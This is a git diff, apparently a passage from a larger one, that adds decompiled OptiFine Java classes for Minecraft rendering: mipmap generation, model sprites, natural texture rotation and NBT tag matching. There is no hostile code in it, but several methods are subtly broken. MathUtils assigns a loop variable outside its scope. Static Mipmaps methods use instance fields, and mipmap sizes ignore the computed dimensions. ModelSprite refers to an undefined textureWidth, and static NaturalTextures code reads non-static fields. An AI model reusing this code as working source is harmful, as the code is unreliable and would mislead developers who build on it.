+    for (int i = 0; i < metadatas.length; i++)
+    {
+      if (metadatas[i] == metadata)
+      {
+        return true;
+      }
+    }
+    
+    return false;
+  }
+  
+
+  public static boolean sprite(TextureAtlasSprite sprite, TextureAtlasSprite[] sprites)
+  {
+    if (sprites == null)
+    {
+      return true;
+    }
+    
+
+    for (int i = 0; i < sprites.length; i++)
+    {
+      if (sprites[i] == sprite)
+      {
+        return true;
+      }
+    }
+    
+    return false;
+  }
+  
+
+  public static boolean biome(net.minecraft.world.biome.BiomeGenBase biome, net.minecraft.world.biome.BiomeGenBase[] biomes)
+  {
+    if (biomes == null)
+    {
+      return true;
+    }
+    
+
+    for (int i = 0; i < biomes.length; i++)
+    {
+      if (biomes[i] == biome)
+      {
+        return true;
+      }
+    }
+    
+    return false;
+  }
+}
diff --git a/src/minecraft/optifine/MathUtils.java b/src/minecraft/optifine/MathUtils.java
new file mode 100644
index 0000000..721eaee
--- /dev/null
+++ b/src/minecraft/optifine/MathUtils.java
@@ -0,0 +1,31 @@
+package optifine;
+
+public class MathUtils {
+  public MathUtils() {}
+  
+  public static int getAverage(int[] vals) {
+    if (vals.length <= 0)
+    {
+      return 0;
+    }
+    
+
+    int sum = 0;
+    
+
+    for (int avg = 0; avg < vals.length; avg++)
+    {
+      int val = vals[avg];
+      sum += val;
+    }
+    
+    avg = sum / vals.length;
+    return avg;
+  }
+  
+  public static double getIncremental(double val, double inc)
+  {
+    double one = 1.0D / inc;
+    return Math.round(val * one) / one;
+  }
+}
diff --git a/src/minecraft/optifine/Mipmaps.java b/src/minecraft/optifine/Mipmaps.java
new file mode 100644
index 0000000..4a1578e
--- /dev/null
+++ b/src/minecraft/optifine/Mipmaps.java
@@ -0,0 +1,217 @@
+package optifine;
+
+import java.awt.Dimension;
+import java.nio.IntBuffer;
+import java.util.ArrayList;
+import net.minecraft.client.renderer.GLAllocation;
+import org.lwjgl.opengl.GL11;
+
+
+public class Mipmaps
+{
+  private final String iconName;
+  private final int width;
+  private final int height;
+  private final int[] data;
+  private final boolean direct;
+  private int[][] mipmapDatas;
+  private IntBuffer[] mipmapBuffers;
+  private Dimension[] mipmapDimensions;
+  
+  public Mipmaps(String iconName, int width, int height, int[] data, boolean direct)
+  {
+    this.iconName = iconName;
+    this.width = width;
+    this.height = height;
+    this.data = data;
+    this.direct = direct;
+    mipmapDimensions = makeMipmapDimensions(width, height, iconName);
+    mipmapDatas = generateMipMapData(data, width, height, mipmapDimensions);
+    
+    if (direct)
+    {
+      mipmapBuffers = makeMipmapBuffers(mipmapDimensions, mipmapDatas);
+    }
+  }
+  
+  public static Dimension[] makeMipmapDimensions(int width, int height, String iconName)
+  {
+    int texWidth = TextureUtils.ceilPowerOfTwo(width);
+    int texHeight = TextureUtils.ceilPowerOfTwo(height);
+    
+    if ((texWidth == width) && (texHeight == height))
+    {
+      ArrayList listDims = new ArrayList();
+      int mipWidth = texWidth;
+      int mipHeight = texHeight;
+      
+      for (;;)
+      {
+        mipWidth /= 2;
+        mipHeight /= 2;
+        
+        if ((mipWidth <= 0) && (mipHeight <= 0))
+        {
+          Dimension[] mipmapDimensions1 = (Dimension[])listDims.toArray(new Dimension[listDims.size()]);
+          return mipmapDimensions1;
+        }
+        
+        if (mipWidth <= 0)
+        {
+          mipWidth = 1;
+        }
+        
+        if (mipHeight <= 0)
+        {
+          mipHeight = 1;
+        }
+        
+        int mipmapDimensions = mipWidth * mipHeight * 4;
+        Dimension dim = new Dimension(mipWidth, mipHeight);
+        listDims.add(dim);
+      }
+    }
+    
+
+    Config.warn("Mipmaps not possible (power of 2 dimensions needed), texture: " + iconName + ", dim: " + width + "x" + height);
+    return new Dimension[0];
+  }
+  
+
+  public static int[][] generateMipMapData(int[] data, int width, int height, Dimension[] mipmapDimensions)
+  {
+    int[] parMipData = data;
+    int parWidth = width;
+    boolean scale = true;
+    int[][] mipmapDatas = new int[mipmapDimensions.length][];
+    
+    for (int i = 0; i < mipmapDimensions.length; i++)
+    {
+      Dimension dim = mipmapDimensions[i];
+      int mipWidth = width;
+      int mipHeight = height;
+      int[] mipData = new int[mipWidth * mipHeight];
+      mipmapDatas[i] = mipData;
+      int level = i + 1;
+      
+      if (scale)
+      {
+        for (int mipX = 0; mipX < mipWidth; mipX++)
+        {
+          for (int mipY = 0; mipY < mipHeight; mipY++)
+          {
+            int p1 = parMipData[(mipX * 2 + 0 + (mipY * 2 + 0) * parWidth)];
+            int p2 = parMipData[(mipX * 2 + 1 + (mipY * 2 + 0) * parWidth)];
+            int p3 = parMipData[(mipX * 2 + 1 + (mipY * 2 + 1) * parWidth)];
+            int p4 = parMipData[(mipX * 2 + 0 + (mipY * 2 + 1) * parWidth)];
+            int pixel = alphaBlend(p1, p2, p3, p4);
+            mipData[(mipX + mipY * mipWidth)] = pixel;
+          }
+        }
+      }
+      
+      parMipData = mipData;
+      parWidth = mipWidth;
+      
+      if ((mipWidth <= 1) || (mipHeight <= 1))
+      {
+        scale = false;
+      }
+    }
+    
+    return mipmapDatas;
+  }
+  
+  public static int alphaBlend(int c1, int c2, int c3, int c4)
+  {
+    int cx1 = alphaBlend(c1, c2);
+    int cx2 = alphaBlend(c3, c4);
+    int cx = alphaBlend(cx1, cx2);
+    return cx;
+  }
+  
+  private static int alphaBlend(int c1, int c2)
+  {
+    int a1 = (c1 & 0xFF000000) >> 24 & 0xFF;
+    int a2 = (c2 & 0xFF000000) >> 24 & 0xFF;
+    int ax = (a1 + a2) / 2;
+    
+    if ((a1 == 0) && (a2 == 0))
+    {
+      a1 = 1;
+      a2 = 1;
+    }
+    else
+    {
+      if (a1 == 0)
+      {
+        c1 = c2;
+        ax /= 2;
+      }
+      
+      if (a2 == 0)
+      {
+        c2 = c1;
+        ax /= 2;
+      }
+    }
+    
+    int r1 = (c1 >> 16 & 0xFF) * a1;
+    int g1 = (c1 >> 8 & 0xFF) * a1;
+    int b1 = (c1 & 0xFF) * a1;
+    int r2 = (c2 >> 16 & 0xFF) * a2;
+    int g2 = (c2 >> 8 & 0xFF) * a2;
+    int b2 = (c2 & 0xFF) * a2;
+    int rx = (r1 + r2) / (a1 + a2);
+    int gx = (g1 + g2) / (a1 + a2);
+    int bx = (b1 + b2) / (a1 + a2);
+    return ax << 24 | rx << 16 | gx << 8 | bx;
+  }
+  
+  private int averageColor(int i, int j)
+  {
+    int k = (i & 0xFF000000) >> 24 & 0xFF;
+    int l = (j & 0xFF000000) >> 24 & 0xFF;
+    return (k + l >> 1 << 24) + ((i & 0xFEFEFE) + (j & 0xFEFEFE) >> 1);
+  }
+  
+  public static IntBuffer[] makeMipmapBuffers(Dimension[] mipmapDimensions, int[][] mipmapDatas)
+  {
+    if (mipmapDimensions == null)
+    {
+      return null;
+    }
+    
+
+    IntBuffer[] mipmapBuffers = new IntBuffer[mipmapDimensions.length];
+    
+    for (int i = 0; i < mipmapDimensions.length; i++)
+    {
+      Dimension dim = mipmapDimensions[i];
+      int bufLen = width * height;
+      IntBuffer buf = GLAllocation.createDirectIntBuffer(bufLen);
+      int[] data = mipmapDatas[i];
+      buf.clear();
+      buf.put(data);
+      buf.clear();
+      mipmapBuffers[i] = buf;
+    }
+    
+    return mipmapBuffers;
+  }
+  
+
+  public static void allocateMipmapTextures(int width, int height, String name)
+  {
+    Dimension[] dims = makeMipmapDimensions(width, height, name);
+    
+    for (int i = 0; i < dims.length; i++)
+    {
+      Dimension dim = dims[i];
+      int mipWidth = width;
+      int mipHeight = height;
+      int level = i + 1;
+      GL11.glTexImage2D(3553, level, 6408, mipWidth, mipHeight, 0, 32993, 33639, null);
+    }
+  }
+}
diff --git a/src/minecraft/optifine/ModelPlayerItem.java b/src/minecraft/optifine/ModelPlayerItem.java
new file mode 100644
index 0000000..b618cfc
--- /dev/null
+++ b/src/minecraft/optifine/ModelPlayerItem.java
@@ -0,0 +1,11 @@
+package optifine;
+
+import net.minecraft.client.model.ModelBase;
+
+public class ModelPlayerItem extends ModelBase
+{
+  public ModelPlayerItem()
+  {
+    isChild = false;
+  }
+}
diff --git a/src/minecraft/optifine/ModelSprite.java b/src/minecraft/optifine/ModelSprite.java
new file mode 100644
index 0000000..912ec72
--- /dev/null
+++ b/src/minecraft/optifine/ModelSprite.java
@@ -0,0 +1,159 @@
+package optifine;
+
+import net.minecraft.client.model.ModelRenderer;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.util.MathHelper;
+
+public class ModelSprite
+{
+  private ModelRenderer modelRenderer = null;
+  private int textureOffsetX = 0;
+  private int textureOffsetY = 0;
+  private float posX = 0.0F;
+  private float posY = 0.0F;
+  private float posZ = 0.0F;
+  private int sizeX = 0;
+  private int sizeY = 0;
+  private int sizeZ = 0;
+  private float sizeAdd = 0.0F;
+  private float minU = 0.0F;
+  private float minV = 0.0F;
+  private float maxU = 0.0F;
+  private float maxV = 0.0F;
+  
+  public ModelSprite(ModelRenderer modelRenderer, int textureOffsetX, int textureOffsetY, float posX, float posY, float posZ, int sizeX, int sizeY, int sizeZ, float sizeAdd)
+  {
+    this.modelRenderer = modelRenderer;
+    this.textureOffsetX = textureOffsetX;
+    this.textureOffsetY = textureOffsetY;
+    this.posX = posX;
+    this.posY = posY;
+    this.posZ = posZ;
+    this.sizeX = sizeX;
+    this.sizeY = sizeY;
+    this.sizeZ = sizeZ;
+    this.sizeAdd = sizeAdd;
+    minU = (textureOffsetX / textureWidth);
+    minV = (textureOffsetY / textureHeight);
+    maxU = ((textureOffsetX + sizeX) / textureWidth);
+    maxV = ((textureOffsetY + sizeY) / textureHeight);
+  }
+  
+  public void render(Tessellator tessellator, float scale)
+  {
+    GlStateManager.translate(posX * scale, posY * scale, posZ * scale);
+    float rMinU = minU;
+    float rMaxU = maxU;
+    float rMinV = minV;
+    float rMaxV = maxV;
+    
+    if (modelRenderer.mirror)
+    {
+      rMinU = maxU;
+      rMaxU = minU;
+    }
+    
+    if (modelRenderer.mirrorV)
+    {
+      rMinV = maxV;
+      rMaxV = minV;
+    }
+    
+    renderItemIn2D(tessellator, rMinU, rMinV, rMaxU, rMaxV, sizeX, sizeY, scale * sizeZ, modelRenderer.textureWidth, modelRenderer.textureHeight);
+    GlStateManager.translate(-posX * scale, -posY * scale, -posZ * scale);
+  }
+  
+  public static void renderItemIn2D(Tessellator tess, float minU, float minV, float maxU, float maxV, int sizeX, int sizeY, float width, float texWidth, float texHeight)
+  {
+    if (width < 6.25E-4F)
+    {
+      width = 6.25E-4F;
+    }
+    
+    float dU = maxU - minU;
+    float dV = maxV - minV;
+    double dimX = MathHelper.abs(dU) * (texWidth / 16.0F);
+    double dimY = MathHelper.abs(dV) * (texHeight / 16.0F);
+    WorldRenderer tessellator = tess.getWorldRenderer();
+    tessellator.startDrawingQuads();
+    tessellator.func_178980_d(0.0F, 0.0F, -1.0F);
+    tessellator.addVertexWithUV(0.0D, 0.0D, 0.0D, minU, minV);
+    tessellator.addVertexWithUV(dimX, 0.0D, 0.0D, maxU, minV);
+    tessellator.addVertexWithUV(dimX, dimY, 0.0D, maxU, maxV);
+    tessellator.addVertexWithUV(0.0D, dimY, 0.0D, minU, maxV);
+    tess.draw();
+    tessellator.startDrawingQuads();
+    tessellator.func_178980_d(0.0F, 0.0F, 1.0F);
+    tessellator.addVertexWithUV(0.0D, dimY, width, minU, maxV);
+    tessellator.addVertexWithUV(dimX, dimY, width, maxU, maxV);
+    tessellator.addVertexWithUV(dimX, 0.0D, width, maxU, minV);
+    tessellator.addVertexWithUV(0.0D, 0.0D, width, minU, minV);
+    tess.draw();
+    float var8 = 0.5F * dU / sizeX;
+    float var9 = 0.5F * dV / sizeY;
+    tessellator.startDrawingQuads();
+    tessellator.func_178980_d(-1.0F, 0.0F, 0.0F);
+    
+
+
+
+    for (int var10 = 0; var10 < sizeX; var10++)
+    {
+      float var11 = var10 / sizeX;
+      float var12 = minU + dU * var11 + var8;
+      tessellator.addVertexWithUV(var11 * dimX, 0.0D, width, var12, minV);
+      tessellator.addVertexWithUV(var11 * dimX, 0.0D, 0.0D, var12, minV);
+      tessellator.addVertexWithUV(var11 * dimX, dimY, 0.0D, var12, maxV);
+      tessellator.addVertexWithUV(var11 * dimX, dimY, width, var12, maxV);
+    }
+    
+    tess.draw();
+    tessellator.startDrawingQuads();
+    tessellator.func_178980_d(1.0F, 0.0F, 0.0F);
+    
+
+    for (var10 = 0; var10 < sizeX; var10++)
+    {
+      float var11 = var10 / sizeX;
+      float var12 = minU + dU * var11 + var8;
+      float var13 = var11 + 1.0F / sizeX;
+      tessellator.addVertexWithUV(var13 * dimX, dimY, width, var12, maxV);
+      tessellator.addVertexWithUV(var13 * dimX, dimY, 0.0D, var12, maxV);
+      tessellator.addVertexWithUV(var13 * dimX, 0.0D, 0.0D, var12, minV);
+      tessellator.addVertexWithUV(var13 * dimX, 0.0D, width, var12, minV);
+    }
+    
+    tess.draw();
+    tessellator.startDrawingQuads();
+    tessellator.func_178980_d(0.0F, 1.0F, 0.0F);
+    
+    for (var10 = 0; var10 < sizeY; var10++)
+    {
+      float var11 = var10 / sizeY;
+      float var12 = minV + dV * var11 + var9;
+      float var13 = var11 + 1.0F / sizeY;
+      tessellator.addVertexWithUV(0.0D, var13 * dimY, 0.0D, minU, var12);
+      tessellator.addVertexWithUV(dimX, var13 * dimY, 0.0D, maxU, var12);
+      tessellator.addVertexWithUV(dimX, var13 * dimY, width, maxU, var12);
+      tessellator.addVertexWithUV(0.0D, var13 * dimY, width, minU, var12);
+    }
+    
+    tess.draw();
+    tessellator.startDrawingQuads();
+    tessellator.func_178980_d(0.0F, -1.0F, 0.0F);
+    
+    for (var10 = 0; var10 < sizeY; var10++)
+    {
+      float var11 = var10 / sizeY;
+      float var12 = minV + dV * var11 + var9;
+      tessellator.addVertexWithUV(dimX, var11 * dimY, 0.0D, maxU, var12);
+      tessellator.addVertexWithUV(0.0D, var11 * dimY, 0.0D, minU, var12);
+      tessellator.addVertexWithUV(0.0D, var11 * dimY, width, minU, var12);
+      tessellator.addVertexWithUV(dimX, var11 * dimY, width, maxU, var12);
+    }
+    
+    tess.draw();
+  }
+}
diff --git a/src/minecraft/optifine/ModelUtils.java b/src/minecraft/optifine/ModelUtils.java
new file mode 100644
index 0000000..ee2c6b9
--- /dev/null
+++ b/src/minecraft/optifine/ModelUtils.java
@@ -0,0 +1,105 @@
+package optifine;
+
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.client.renderer.block.model.BakedQuad;
+import net.minecraft.client.resources.model.IBakedModel;
+import net.minecraft.util.EnumFacing;
+
+public class ModelUtils
+{
+  public ModelUtils() {}
+  
+  public static void dbgModel(IBakedModel model)
+  {
+    if (model != null)
+    {
+      Config.dbg("Model: " + model + ", ao: " + model.isGui3d() + ", gui3d: " + model.isAmbientOcclusionEnabled() + ", builtIn: " + model.isBuiltInRenderer() + ", particle: " + model.getTexture());
+      EnumFacing[] faces = EnumFacing.VALUES;
+      
+      for (int generalQuads = 0; generalQuads < faces.length; generalQuads++)
+      {
+        EnumFacing face = faces[generalQuads];
+        List faceQuads = model.func_177551_a(face);
+        dbgQuads(face.getName(), faceQuads, "  ");
+      }
+      
+      List var5 = model.func_177550_a();
+      dbgQuads("General", var5, "  ");
+    }
+  }
+  
+  private static void dbgQuads(String name, List quads, String prefix)
+  {
+    Iterator it = quads.iterator();
+    
+    while (it.hasNext())
+    {
+      BakedQuad quad = (BakedQuad)it.next();
+      dbgQuad(name, quad, prefix);
+    }
+  }
+  
+  public static void dbgQuad(String name, BakedQuad quad, String prefix)
+  {
+    Config.dbg(prefix + "Quad: " + quad.getClass().getName() + ", type: " + name + ", face: " + quad.getFace() + ", tint: " + quad.func_178211_c() + ", sprite: " + quad.getSprite());
+    dbgVertexData(quad.func_178209_a(), "  " + prefix);
+  }
+  
+  public static void dbgVertexData(int[] vd, String prefix)
+  {
+    int step = vd.length / 4;
+    Config.dbg(prefix + "Length: " + vd.length + ", step: " + step);
+    
+    for (int i = 0; i < 4; i++)
+    {
+      int pos = i * step;
+      float x = Float.intBitsToFloat(vd[(pos + 0)]);
+      float y = Float.intBitsToFloat(vd[(pos + 1)]);
+      float z = Float.intBitsToFloat(vd[(pos + 2)]);
+      int col = vd[(pos + 3)];
+      float u = Float.intBitsToFloat(vd[(pos + 4)]);
+      float v = Float.intBitsToFloat(vd[(pos + 5)]);
+      Config.dbg(prefix + i + " xyz: " + x + "," + y + "," + z + " col: " + col + " u,v: " + u + "," + v);
+    }
+  }
+  
+  public static IBakedModel duplicateModel(IBakedModel model)
+  {
+    List generalQuads2 = duplicateQuadList(model.func_177550_a());
+    EnumFacing[] faces = EnumFacing.VALUES;
+    java.util.ArrayList faceQuads2 = new java.util.ArrayList();
+    
+    for (int model2 = 0; model2 < faces.length; model2++)
+    {
+      EnumFacing face = faces[model2];
+      List quads = model.func_177551_a(face);
+      List quads2 = duplicateQuadList(quads);
+      faceQuads2.add(quads2);
+    }
+    
+    net.minecraft.client.resources.model.SimpleBakedModel var8 = new net.minecraft.client.resources.model.SimpleBakedModel(generalQuads2, faceQuads2, model.isGui3d(), model.isAmbientOcclusionEnabled(), model.getTexture(), model.getItemCameraTransforms());
+    return var8;
+  }
+  
+  public static List duplicateQuadList(List list)
+  {
+    java.util.ArrayList list2 = new java.util.ArrayList();
+    Iterator it = list.iterator();
+    
+    while (it.hasNext())
+    {
+      BakedQuad quad = (BakedQuad)it.next();
+      BakedQuad quad2 = duplicateQuad(quad);
+      list2.add(quad2);
+    }
+    
+    return list2;
+  }
+  
+  public static BakedQuad duplicateQuad(BakedQuad quad)
+  {
+    BakedQuad quad2 = new BakedQuad((int[])quad.func_178209_a().clone(), quad.func_178211_c(), quad.getFace(), quad.getSprite());
+    return quad2;
+  }
+}
diff --git a/src/minecraft/optifine/NaturalProperties.java b/src/minecraft/optifine/NaturalProperties.java
new file mode 100644
index 0000000..3f43c25
--- /dev/null
+++ b/src/minecraft/optifine/NaturalProperties.java
@@ -0,0 +1,187 @@
+package optifine;
+
+import java.util.IdentityHashMap;
+import java.util.Map;
+import net.minecraft.client.renderer.block.model.BakedQuad;
+import net.minecraft.client.renderer.texture.TextureAtlasSprite;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.MathHelper;
+
+public class NaturalProperties
+{
+  public int rotation = 1;
+  public boolean flip = false;
+  private Map[] quadMaps = new Map[8];
+  
+  public NaturalProperties(String type)
+  {
+    if (type.equals("4"))
+    {
+      rotation = 4;
+    }
+    else if (type.equals("2"))
+    {
+      rotation = 2;
+    }
+    else if (type.equals("F"))
+    {
+      flip = true;
+    }
+    else if (type.equals("4F"))
+    {
+      rotation = 4;
+      flip = true;
+    }
+    else if (type.equals("2F"))
+    {
+      rotation = 2;
+      flip = true;
+    }
+    else
+    {
+      Config.warn("NaturalTextures: Unknown type: " + type);
+    }
+  }
+  
+  public boolean isValid()
+  {
+    return (rotation != 2) && (rotation != 4) ? flip : true;
+  }
+  
+  public synchronized BakedQuad getQuad(BakedQuad quadIn, int rotate, boolean flipU)
+  {
+    int index = rotate;
+    
+    if (flipU)
+    {
+      index = rotate | 0x4;
+    }
+    
+    if ((index > 0) && (index < quadMaps.length))
+    {
+      Object map = quadMaps[index];
+      
+      if (map == null)
+      {
+        map = new IdentityHashMap(1);
+        quadMaps[index] = ((Map)map);
+      }
+      
+      BakedQuad quad = (BakedQuad)((Map)map).get(quadIn);
+      
+      if (quad == null)
+      {
+        quad = makeQuad(quadIn, rotate, flipU);
+        ((Map)map).put(quadIn, quad);
+      }
+      
+      return quad;
+    }
+    
+
+    return quadIn;
+  }
+  
+
+  private BakedQuad makeQuad(BakedQuad quad, int rotate, boolean flipU)
+  {
+    int[] vertexData = quad.func_178209_a();
+    int tintIndex = quad.func_178211_c();
+    EnumFacing face = quad.getFace();
+    TextureAtlasSprite sprite = quad.getSprite();
+    
+    if (!isFullSprite(quad))
+    {
+      return quad;
+    }
+    
+
+    vertexData = transformVertexData(vertexData, rotate, flipU);
+    BakedQuad bq = new BakedQuad(vertexData, tintIndex, face, sprite);
+    return bq;
+  }
+  
+
+  private int[] transformVertexData(int[] vertexData, int rotate, boolean flipU)
+  {
+    int[] vertexData2 = (int[])vertexData.clone();
+    int v2 = 4 - rotate;
+    
+    if (flipU)
+    {
+      v2 += 3;
+    }
+    
+    v2 %= 4;
+    int step = vertexData2.length / 4;
+    
+    for (int v = 0; v < 4; v++)
+    {
+      int pos = v * step;
+      int pos2 = v2 * step;
+      vertexData2[(pos2 + 4)] = vertexData[(pos + 4)];
+      vertexData2[(pos2 + 4 + 1)] = vertexData[(pos + 4 + 1)];
+      
+      if (flipU)
+      {
+        v2--;
+        
+        if (v2 < 0)
+        {
+          v2 = 3;
+        }
+      }
+      else
+      {
+        v2++;
+        
+        if (v2 > 3)
+        {
+          v2 = 0;
+        }
+      }
+    }
+    
+    return vertexData2;
+  }
+  
+  private boolean isFullSprite(BakedQuad quad)
+  {
+    TextureAtlasSprite sprite = quad.getSprite();
+    float uMin = sprite.getMinU();
+    float uMax = sprite.getMaxU();
+    float uSize = uMax - uMin;
+    float uDelta = uSize / 256.0F;
+    float vMin = sprite.getMinV();
+    float vMax = sprite.getMaxV();
+    float vSize = vMax - vMin;
+    float vDelta = vSize / 256.0F;
+    int[] vertexData = quad.func_178209_a();
+    int step = vertexData.length / 4;
+    
+    for (int i = 0; i < 4; i++)
+    {
+      int pos = i * step;
+      float u = Float.intBitsToFloat(vertexData[(pos + 4)]);
+      float v = Float.intBitsToFloat(vertexData[(pos + 4 + 1)]);
+      
+      if ((!equalsDelta(u, uMin, uDelta)) && (!equalsDelta(u, uMax, uDelta)))
+      {
+        return false;
+      }
+      
+      if ((!equalsDelta(v, vMin, vDelta)) && (!equalsDelta(v, vMax, vDelta)))
+      {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+  private boolean equalsDelta(float x1, float x2, float deltaMax)
+  {
+    float deltaAbs = MathHelper.abs(x1 - x2);
+    return deltaAbs < deltaMax;
+  }
+}
diff --git a/src/minecraft/optifine/NaturalTextures.java b/src/minecraft/optifine/NaturalTextures.java
new file mode 100644
index 0000000..9fe0665
--- /dev/null
+++ b/src/minecraft/optifine/NaturalTextures.java
@@ -0,0 +1,184 @@
+package optifine;
+
+import java.io.FileNotFoundException;
+import java.io.InputStream;
+import java.util.ArrayList;
+import net.minecraft.client.renderer.block.model.BakedQuad;
+import net.minecraft.client.renderer.texture.TextureAtlasSprite;
+import net.minecraft.client.renderer.texture.TextureMap;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.ResourceLocation;
+
+public class NaturalTextures
+{
+  private static NaturalProperties[] propertiesByIndex = new NaturalProperties[0];
+  
+  public NaturalTextures() {}
+  
+  public static void update() { propertiesByIndex = new NaturalProperties[0];
+    
+    if (Config.isNaturalTextures())
+    {
+      String fileName = "optifine/natural.properties";
+      
+      try
+      {
+        ResourceLocation e = new ResourceLocation(fileName);
+        
+        if (!Config.hasResource(e))
+        {
+          Config.dbg("NaturalTextures: configuration \"" + fileName + "\" not found");
+          return;
+        }
+        
+        boolean defaultConfig = Config.isFromDefaultResourcePack(e);
+        InputStream in = Config.getResourceStream(e);
+        ArrayList list = new ArrayList(256);
+        String configStr = Config.readInputStream(in);
+        in.close();
+        String[] configLines = Config.tokenize(configStr, "\n\r");
+        
+        if (defaultConfig)
+        {
+          Config.dbg("Natural Textures: Parsing default configuration \"" + fileName + "\"");
+          Config.dbg("Natural Textures: Valid only for textures from default resource pack");
+        }
+        else
+        {
+          Config.dbg("Natural Textures: Parsing configuration \"" + fileName + "\"");
+        }
+        
+        TextureMap textureMapBlocks = TextureUtils.getTextureMapBlocks();
+        
+        for (int i = 0; i < configLines.length; i++)
+        {
+          String line = configLines[i].trim();
+          
+          if (!line.startsWith("#"))
+          {
+            String[] strs = Config.tokenize(line, "=");
+            
+            if (strs.length != 2)
+            {
+              Config.warn("Natural Textures: Invalid \"" + fileName + "\" line: " + line);
+            }
+            else
+            {
+              String key = strs[0].trim();
+              String type = strs[1].trim();
+              TextureAtlasSprite ts = textureMapBlocks.getSpriteSafe("minecraft:blocks/" + key);
+              
+              if (ts == null)
+              {
+                Config.warn("Natural Textures: Texture not found: \"" + fileName + "\" line: " + line);
+              }
+              else
+              {
+                int tileNum = ts.getIndexInMap();
+                
+                if (tileNum < 0)
+                {
+                  Config.warn("Natural Textures: Invalid \"" + fileName + "\" line: " + line);
+                }
+                else
+                {
+                  if ((defaultConfig) && (!Config.isFromDefaultResourcePack(new ResourceLocation("textures/blocks/" + key + ".png"))))
+                  {
+                    return;
+                  }
+                  
+                  NaturalProperties props = new NaturalProperties(type);
+                  
+                  if (props.isValid())
+                  {
+                    while (list.size() <= tileNum)
+                    {
+                      list.add(null);
+                    }
+                    
+                    list.set(tileNum, props);
+                    Config.dbg("NaturalTextures: " + key + " = " + type);
+                  }
+                }
+              }
+            }
+          }
+        }
+        
+        propertiesByIndex = (NaturalProperties[])list.toArray(new NaturalProperties[list.size()]);
+      }
+      catch (FileNotFoundException var17)
+      {
+        Config.warn("NaturalTextures: configuration \"" + fileName + "\" not found");
+        return;
+      }
+      catch (Exception var18)
+      {
+        var18.printStackTrace();
+      }
+    }
+  }
+  
+  public static BakedQuad getNaturalTexture(BlockPos blockPosIn, BakedQuad quad)
+  {
+    TextureAtlasSprite sprite = quad.getSprite();
+    
+    if (sprite == null)
+    {
+      return quad;
+    }
+    
+
+    NaturalProperties nps = getNaturalProperties(sprite);
+    
+    if (nps == null)
+    {
+      return quad;
+    }
+    
+
+    int side = ConnectedTextures.getSide(quad.getFace());
+    int rand = Config.getRandom(blockPosIn, side);
+    int rotate = 0;
+    boolean flipU = false;
+    
+    if (rotation > 1)
+    {
+      rotate = rand & 0x3;
+    }
+    
+    if (rotation == 2)
+    {
+      rotate = rotate / 2 * 2;
+    }
+    
+    if (flip)
+    {
+      flipU = (rand & 0x4) != 0;
+    }
+    
+    return nps.getQuad(quad, rotate, flipU);
+  }
+  
+
+
+  public static NaturalProperties getNaturalProperties(TextureAtlasSprite icon)
+  {
+    if (!(icon instanceof TextureAtlasSprite))
+    {
+      return null;
+    }
+    
+
+    int tileNum = icon.getIndexInMap();
+    
+    if ((tileNum >= 0) && (tileNum < propertiesByIndex.length))
+    {
+      NaturalProperties props = propertiesByIndex[tileNum];
+      return props;
+    }
+    
+
+    return null;
+  }
+}
diff --git a/src/minecraft/optifine/NbtTagValue.java b/src/minecraft/optifine/NbtTagValue.java
new file mode 100644
index 0000000..1e2ef60
--- /dev/null
+++ b/src/minecraft/optifine/NbtTagValue.java
@@ -0,0 +1,295 @@
+package optifine;
+
+import java.util.Arrays;
+import java.util.Iterator;
+import java.util.Set;
+import net.minecraft.nbt.NBTBase;
+import net.minecraft.nbt.NBTTagByte;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagDouble;
+import net.minecraft.nbt.NBTTagFloat;
+import net.minecraft.nbt.NBTTagInt;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.nbt.NBTTagLong;
+import net.minecraft.nbt.NBTTagShort;
+import net.minecraft.nbt.NBTTagString;
+import org.apache.commons.lang3.StringEscapeUtils;
+
+public class NbtTagValue
+{
+  private String[] parents = null;
+  private String name = null;
+  private int type = 0;
+  private String value = null;
+  private static final int TYPE_TEXT = 0;
+  private static final int TYPE_PATTERN = 1;
+  private static final int TYPE_IPATTERN = 2;
+  private static final int TYPE_REGEX = 3;
+  private static final int TYPE_IREGEX = 4;
+  private static final String PREFIX_PATTERN = "pattern:";
+  private static final String PREFIX_IPATTERN = "ipattern:";
+  private static final String PREFIX_REGEX = "regex:";
+  private static final String PREFIX_IREGEX = "iregex:";
+  
+  public NbtTagValue(String tag, String value)
+  {
+    String[] names = Config.tokenize(tag, ".");
+    parents = ((String[])Arrays.copyOfRange(names, 0, names.length - 1));
+    name = names[(names.length - 1)];
+    
+    if (value.startsWith("pattern:"))
+    {
+      type = 1;
+      value = value.substring("pattern:".length());
+    }
+    else if (value.startsWith("ipattern:"))
+    {
+      type = 2;
+      value = value.substring("ipattern:".length()).toLowerCase();
+    }
+    else if (value.startsWith("regex:"))
+    {
+      type = 3;
+      value = value.substring("regex:".length());
+    }
+    else if (value.startsWith("iregex:"))
+    {
+      type = 4;
+      value = value.substring("iregex:".length()).toLowerCase();
+    }
+    else
+    {
+      type = 0;
+    }
+    
+    value = StringEscapeUtils.unescapeJava(value);
+    this.value = value;
+  }
+  
+  public boolean matches(NBTTagCompound nbt)
+  {
+    if (nbt == null)
+    {
+      return false;
+    }
+    
+
+    Object tagBase = nbt;
+    
+    for (int i = 0; i < parents.length; i++)
+    {
+      String tag = parents[i];
+      tagBase = getChildTag((NBTBase)tagBase, tag);
+      
+      if (tagBase == null)
+      {
+        return false;
+      }
+    }
+    
+    if (name.equals("*"))
+    {
+      return matchesAnyChild((NBTBase)tagBase);
+    }
+    
+
+    NBTBase var5 = getChildTag((NBTBase)tagBase, name);
+    
+    if (var5 == null)
+    {
+      return false;
+    }
+    if (matches(var5))
+    {
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+
+
+  private boolean matchesAnyChild(NBTBase tagBase)
+  {
+    if ((tagBase instanceof NBTTagCompound))
+    {
+      NBTTagCompound tagList = (NBTTagCompound)tagBase;
+      Set count = tagList.getKeySet();
+      Iterator i = count.iterator();
+      
+      while (i.hasNext())
+      {
+        String nbtBase = (String)i.next();
+        NBTBase nbtBase1 = tagList.getTag(nbtBase);
+        
+        if (matches(nbtBase1))
+        {
+          return true;
+        }
+      }
+    }
+    
+    if ((tagBase instanceof NBTTagList))
+    {
+      NBTTagList var7 = (NBTTagList)tagBase;
